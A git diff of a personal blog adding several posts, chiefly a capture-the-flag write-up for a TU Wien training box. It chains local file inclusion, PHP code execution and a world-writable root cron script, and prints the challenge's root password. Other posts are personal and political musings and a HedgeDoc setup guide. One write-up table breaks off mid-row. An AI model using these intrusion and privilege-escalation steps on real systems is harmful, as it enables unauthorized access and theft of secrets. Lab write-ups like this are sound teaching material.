wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn't the case, but I'm too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection. + +Now the interesting part is my reaction. "Withdrawal". +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just.... sad. + +Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let's be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don't care how you define friendship. +If it isn't mutual, it isn't good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go. + +I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other's social circle, which to be honest came out super wrong :)))))) +I wasn't trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn't know how to put this into words. +And I did not do it correctly it seems as I got "rejected". +But as my friend says, "better a sad ending, than a never ending sadness". +I wansn't trying to ask her out, but my social skills are so bad that it came so so wrongly. + +I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don't keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I'm not being helped. +If I'm being kept at arms distance. +If I'm being isolated. +I'm no docker process who should be kept isolated. +I'm the kernel module. + +This came out weird coming from me, but it is what it is :) +I should, and need to say "I" sometimes. +I need to assert dominance, to show I'm in control, to show I'm happy, to show everything is fine. + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/face_of_rejection.md.asc b/static/sources/posts/face_of_rejection.md.asc new file mode 100644 index 0000000..3faa083 --- /dev/null +++ b/static/sources/posts/face_of_rejection.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSq7nRAAoHcoeGwQcuv/tZC3mF3UcoYP9wakYBqbU08NlW79pd5Xb7fE8rAuRWvu +8GVoIqWq+TyIlyGxeimCQODf+XsGefNSM9vGAkBHSVeLoKDyGE0/lpHJGwM7xFjd +a2HnGbMq/jU5hJQC1R4L6tccfIlMXi59t5FXkZLsA9wkK13bXMzeL1PGNX/rW/nK +8hL89tHEzIc2dak/hjvuWH+yGSFHKfKdu3A5WrrylYrVIwoD87ReQ0htCph0rmKX +5SBo89MZ1ba4zBrZCGDFzVPX3l/TtGrBncN+YBSAXuu1FO8ZY6+99aEDsR7ZSjun +S0tjoIj4h4ee0AguQEahAJpiw43Z+1h35H56M9mugtlj74CO5Sp5I2r/0IMB21To +ygyAe7qC9NRu9w/BYUcadtZzOBWTStXS2y+mJrquevbACf41b6R+xyy+ynpYcNGh +44nxVQtHCTsqRBnAmBaI9rYMz2QJLenYDwylOV3ewPIgiL0VgGcoK+SzEou6Mwkl +qGSqWbOL93xL4RiiFIaua9LWF2YMWusV+2udyzLhCQkXQPkukT/zDTQ9CU/IekMw +3viSmHIulux1JoC3Y34bDKZcF6bborwthT+oG6K7BgMkQ9TzwFDpEsmycmBfUlNG +I6nDwjp4PGAC5JdfOaXbPLBoSz7tB65Hv2TrZaPCKdhr5hfkmV8= +=hVGo +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/g00_tuw_measurement_ctf.md b/static/sources/posts/g00_tuw_measurement_ctf.md new file mode 100644 index 0000000..449e2cd --- /dev/null +++ b/static/sources/posts/g00_tuw_measurement_ctf.md @@ -0,0 +1,455 @@ +--- +title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job" +date: 2026-06-05T12:00:00Z +draft: false +tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"] +categories: ["CTF", "Security"] +toc: true +summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of." +--- + +> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends. + +This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain. + +Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper: + +1. Collect every `passwd_part` file sitting in user home directories. +2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`). + +Simple. Boring. Except Klaus was clearly in charge of this VM. + +--- + +## 0) The lay of the land + +**Target:** `g00.tuw.measurement.network` + +From the outside you mostly see three faces of the same machine: + +| Host | What it is | +|------|------------| +| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** | +| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter | +| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet | + +Users on the box (from `/etc/passwd` via LFI): `user1`–`user4`, `monitoring`, `www-data`, `root`. + +SSH from outside? Public key only. Password auth is a lie (for us, anyway). + +--- + +## 1) Recon — documentation.md saves the day + +First stop: the main site. + +```bash +curl -s https://g00.tuw.measurement.network/documentation.md +``` + +That file is basically a treasure map. It mentions two services: + +- **web** → `web.g00.tuw.measurement.network` +- **pwreset** → `pwreset.g00.tuw.measurement.network` + +I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`. + +Subdomains resolve. Good. Let's go web. + +--- + +## 2) LFI — `include($_GET['page'])` classic + +The web vhost is a frameset. Content loads in a frame via `?page=`: + +```bash +curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd' +``` + +And there it is — root, users, the whole `/etc/passwd` parade inside the frame. + +Source via PHP filter works too: + +```bash +curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \ + | sed -n 's/.*frame name="in">//p' | base64 -d +``` + +`index.php` is roughly: + +```php + +``` + +Klaus, my man. We love you. + +**First instinct:** read all the `passwd_part` files immediately. + +```bash +# spoiler: doesn't work +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part' +# → permission denied +``` + +Same for `user2`–`user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair. + +--- + +## 3) pwreset — localhost-only, but LFI doesn't care about nginx + +Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual: + +```nginx +allow 127.0.0.1; +deny all; +``` + +So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request. + +pwreset source (paraphrased): + +```php +$user = $_GET['user'] ?? ''; +$pass = $_GET['pass'] ?? ''; +file_put_contents('/var/www/userchange', "$user:$pass\n"); +echo "Password reset queued."; +``` + +It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell). + +**Trigger it through LFI:** + +```text +https://web.g00.tuw.measurement.network/ + ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php + &user=user1 + &pass=MyTestPass1! +``` + +I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it. + +--- + +## 4) RCE — PHP in `userchange`, included like a boss + +At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP? + +So I wrote a tiny shell into the `user` field via pwreset: + +```php + +``` + +Then included `/var/www/userchange` through the LFI: + +```text +?page=/var/www/userchange +``` + +**Output:** `uid=33(www-data) gid=33(www-data) ...` + +Short tags (``) for the win. A longer `` payload also works, but the backtick version is minimal and cute. + +From here on, my mental model was: + +1. **pwreset** → write arbitrary-ish content to `/var/www/userchange` +2. **LFI include `userchange`** → execute PHP as `www-data` + +That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open. + +--- + +## 5) Rabbit holes (aka "everything I tried before it worked") + +This box is a *presentation* CTF. It wants you to wander. I wandered. Hard. + +### nginx log poisoning + +The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up. + +Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late. + +### `data://`, `php://input`, `expect://` + +```bash +?page=data://text/plain, +?page=php://input # with POST body +?page=expect://id +``` + +Nope. `allow_url_include = Off`. Klaus isn't *that* careless. + +### vim `.swp` files + +`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`. + +Empty memes page. No execution. Nice red herring — very on-theme for the talk. + +### Munin / `apt_all` plugin + +The presentation mentions monitoring (Nagios/Munin vibes). I went hunting: + +- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist** +- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …) +- Waited for cron cycles hoping a custom plugin would curl localhost pwreset + +**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere. + +### pwreset log archaeology + +Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore: + +- Saw historical resets like `user3` → `foobar23` +- Tried `foobar23` over SSH for every user + +**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that. + +### Shell script injection into `userchange` + +I tried newline injection to turn `userchange` into a bash script: + +```text +user= +#!/bin/sh +cp /home/user1/passwd_part /var/www/.../p1 +... +``` + +Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path. + +### Brute-forcing the `userchange` consumer + +I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`. + +Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.) + +### Direct SSH password guessing + +Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH. + +From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside. + +--- + +## 6) Privesc — world-writable cron script (peak Klaus) + +With RCE as `www-data`, I looked for writable files: + +```bash +find / -writable -type f 2>/dev/null | head +``` + +Jackpot: + +```text +-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh +``` + +Original script (innocent): + +```bash +#!/bin/bash +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config +``` + +It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss. + +I appended: + +```bash +cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1 +cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2 +cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3 +cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4 +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm +cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p* +``` + +Then either waited for cron or executed the script manually via RCE: + +```php + +``` + +**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud. + +--- + +## 7) SSH as `www-data` — because keys in the webroot are a mood + +The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did. + +```bash +# via RCE: cat the key, save locally, chmod 600 +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \ + www-data@g00.tuw.measurement.network +``` + +Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files. + +--- + +## 8) The password parts + +| Source | File | Part | +|--------|------|------| +| user1 | `p1` | `DcC6Da0A27384fA` | +| user2 | `p2` | `9Ce05B3cAd57824` | +| user3 | `p3` | `3aD80fa1b7AE986` | +| user4 | `p4` | `CDefabffab1FCCf` | +| www-data | `passwd_part` | `44D885d6DAb8Bb9` | +| root | `rootpass` | `ghadnuthduxeec7` | + +**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient. + +**Combined root password (95 characters):** + +```text +DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7 +``` + +Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`. + +I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines. + +Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method. + +--- + +## 9) Attack chain (one screen) + +```text +documentation.md + → web vhost LFI (include $_GET['page']) + → include pwreset index.php (localhost bypass) + → write PHP to /var/www/userchange + → LFI include userchange + → RCE as www-data + → append to world-writable cron_update_hostname_file.sh + → cron runs as root → copies passwd parts to webroot + → read parts / SSH as www-data + → profit +``` + +Very "real world" in the worst way. Multiple small mistakes compounding into a full chain. + +--- + +## 10) Replay script + +I left a minimal Python replay in the challenge repo: + +```bash +python3 solve.py +``` + +Core logic: + +```python +def pwreset(user, passwd=""): + # LFI-include pwreset index.php with user/pass params + +def rce(cmd): + pwreset(f"", "") + return lfi_include("/var/www/userchange") +``` + +It prints `id`, the modified cron script, each part file, and the combined password. + +--- + +## 11) Bonus: the intended log poisoning path + +After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂 + +So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass. + +### The hint is in `index.php`, not `documentation.md` + +`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI): + +```html + +``` + +Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log. + +### Intended technique + +1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log: + + ```text + /var/log/nginx/web.g00.tuw.measurement.network.access.log + ``` + +2. Put PHP in the `User-Agent` (or another logged field): + + ```text + + ``` + + Short tags like `` `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun. + +3. **Include that log** through the same LFI bug: + + ```text + https://web.g00.tuw.measurement.network/ + ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log + &cmd=id + ``` + +On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required. + +### How I griefed myself + +| What I did | Why it hurt | +|------------|-------------| +| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — **670 KB+** and growing | +| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail | +| Fired dozens of test payloads | Left broken `}} diff --git a/static/sources/posts/g00_tuw_measurement_ctf.md.asc b/static/sources/posts/g00_tuw_measurement_ctf.md.asc new file mode 100644 index 0000000..daebdc1 --- /dev/null +++ b/static/sources/posts/g00_tuw_measurement_ctf.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1 +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03 +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+ +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+ +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ= +=BDGe +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/h3ll0_fr1end.md b/static/sources/posts/h3ll0_fr1end.md new file mode 100644 index 0000000..42d5cae --- /dev/null +++ b/static/sources/posts/h3ll0_fr1end.md @@ -0,0 +1,27 @@ ++++ +title = 'H3ll0 Fr1end' +date = 2026-05-02T16:17:02Z +draft = false ++++ + +Hello friends. I'm back. It's been... let's say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I'm so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it's shadow over the country for decades. It's funny how his father (I'm talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people's lives, and then selling people's food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it's not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not "own" makes him the best candidate for exploitation. And he has shown this very well. + + +The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore. + +It's so so sad that I'm siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It's so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, ..., Persian Constitutional Revolution, etc.. So fucking sad. + +The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don't think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime's influence over it's people. + +Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it's own people. Years of stagflation, and no bright light in sight. + +Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :) + +Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D + +I honestly also don't feel like proofreading the text, so... there would be many mistakes. :) And honestly, idc. + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/h3ll0_fr1end.md.asc b/static/sources/posts/h3ll0_fr1end.md.asc new file mode 100644 index 0000000..4ecfff4 --- /dev/null +++ b/static/sources/posts/h3ll0_fr1end.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK +5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz +Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l +rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw +z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+ +0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb +4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM +XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS +/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1 +wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM +QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA= +=7md6 +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/hedge_doc.md b/static/sources/posts/hedge_doc.md new file mode 100644 index 0000000..1b3c834 --- /dev/null +++ b/static/sources/posts/hedge_doc.md @@ -0,0 +1,191 @@ +--- +title: "Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt" +date: 2025-08-29 +draft: false +tags: ["hedgedoc", "docker", "nginx", "letsencrypt", "self-hosting"] +categories: ["guides"] +cover: + image: "/images/hedgedoc-cover.png" + alt: "HedgeDoc collaborative editing" + caption: "Collaborative Markdown editing with HedgeDoc" + relative: true + hidden: false +--- + +HedgeDoc is an open-source collaborative Markdown editor. Think *Google Docs for Markdown*: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. + +--- + +## Prerequisites + +- A Linux server with **Docker** and **Docker Compose** +- A domain name pointing to your server (e.g. `notes.alipourimjourneys.ir`) +- **Nginx** installed for reverse proxying +- **Certbot** for Let’s Encrypt certificates + +--- + +## 1. Create the project directory + +{{< highlight bash >}} +mkdir ~/hedgedoc && cd ~/hedgedoc +{{< /highlight >}} + +--- + +## 2. Create `.env` + +{{< highlight env >}} +POSTGRES_PASSWORD=ChangeThisStrongPassword +HD_DOMAIN=notes.alipourimjourneys.ir +{{< /highlight >}} + +Generate a strong password with: + +{{< highlight bash >}} +openssl rand -base64 32 +{{< /highlight >}} + +--- + +## 3. Create `docker-compose.yml` + +{{< highlight yaml >}} +version: "3.9" + +services: + db: + image: postgres:16 + environment: + POSTGRES_USER: hedgedoc + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} + POSTGRES_DB: hedgedoc + volumes: + - db:/var/lib/postgresql/data + restart: unless-stopped + + hedgedoc: + image: quay.io/hedgedoc/hedgedoc:1.10.2 + depends_on: + - db + environment: + CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc + CMD_DOMAIN: ${HD_DOMAIN} + CMD_PROTOCOL_USESSL: "true" + CMD_URL_ADDPORT: "false" + CMD_PORT: "3000" + CMD_EMAIL: "true" + CMD_ALLOW_EMAIL_REGISTER: "false" + volumes: + - uploads:/hedgedoc/public/uploads + ports: + - "127.0.0.1:3000:3000" + restart: unless-stopped + +volumes: + db: + uploads: +{{< /highlight >}} + +Bring it up: + +{{< highlight bash >}} +docker compose up -d +{{< /highlight >}} + +--- + +## 4. Get a Let’s Encrypt certificate + +Request a cert with a **DNS challenge**: + +{{< highlight bash >}} +sudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email +{{< /highlight >}} + +Add the TXT record certbot asks for, wait for DNS to propagate, then continue. +Certificates will be in: + +{{< highlight bash >}} +/etc/letsencrypt/live/notes.alipourimjourneys.ir/ +{{< /highlight >}} + +--- + +## 5. Configure Nginx + +Create `/etc/nginx/sites-available/notes.alipourimjourneys.ir`: + +{{< highlight nginx >}} +server { + server_name notes.alipourimjourneys.ir; + + listen 80; + listen [::]:80; + return 301 https://$host$request_uri; +} + +server { + server_name notes.alipourimjourneys.ir; + + listen 443 ssl http2; + listen [::]:443 ssl http2; + + ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:3000; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto https; + + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } +} +{{< /highlight >}} + +Enable the config and reload Nginx: + +{{< highlight bash >}} +sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/ +sudo nginx -t && sudo systemctl reload nginx +{{< /highlight >}} + +--- + +## 6. Create users + +Because we disabled self-registration, create accounts manually: + +{{< highlight bash >}} +docker compose exec hedgedoc ./bin/manage_users --add alice@example.com +{{< /highlight >}} + +You’ll be prompted for a password. +To reset a password later: + +{{< highlight bash >}} +docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com +{{< /highlight >}} + +--- + +## 7. Done! + +Visit [https://notes.alipourimjourneys.ir](https://notes.alipourimjourneys.ir) and log in with the user you created. You now have your own collaborative Markdown editor 🎉 + +--- + +**Extras:** + +- Backups: dump the PostgreSQL database and save the `uploads` volume. +- Upgrades: `docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d`. +- Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more. + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/hedge_doc.md.asc b/static/sources/posts/hedge_doc.md.asc new file mode 100644 index 0000000..83ac93c --- /dev/null +++ b/static/sources/posts/hedge_doc.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+ +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/ +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg= +=uf5y +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/hello-world.md b/static/sources/posts/hello-world.md new file mode 100644 index 0000000..6797182 --- /dev/null +++ b/static/sources/posts/hello-world.md @@ -0,0 +1,11 @@ ++++ +title = 'Hello World' +date = 2025-08-25T08:53:38Z +draft = false ++++ + +This is a test hello world post just to make sure everything works! + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/hello-world.md.asc b/static/sources/posts/hello-world.md.asc new file mode 100644 index 0000000..c9900c6 --- /dev/null +++ b/static/sources/posts/hello-world.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7 +SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB +IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX+uFYE +B3ioZqc4wJyDFaGWO+ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC +roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ +dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX+odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ 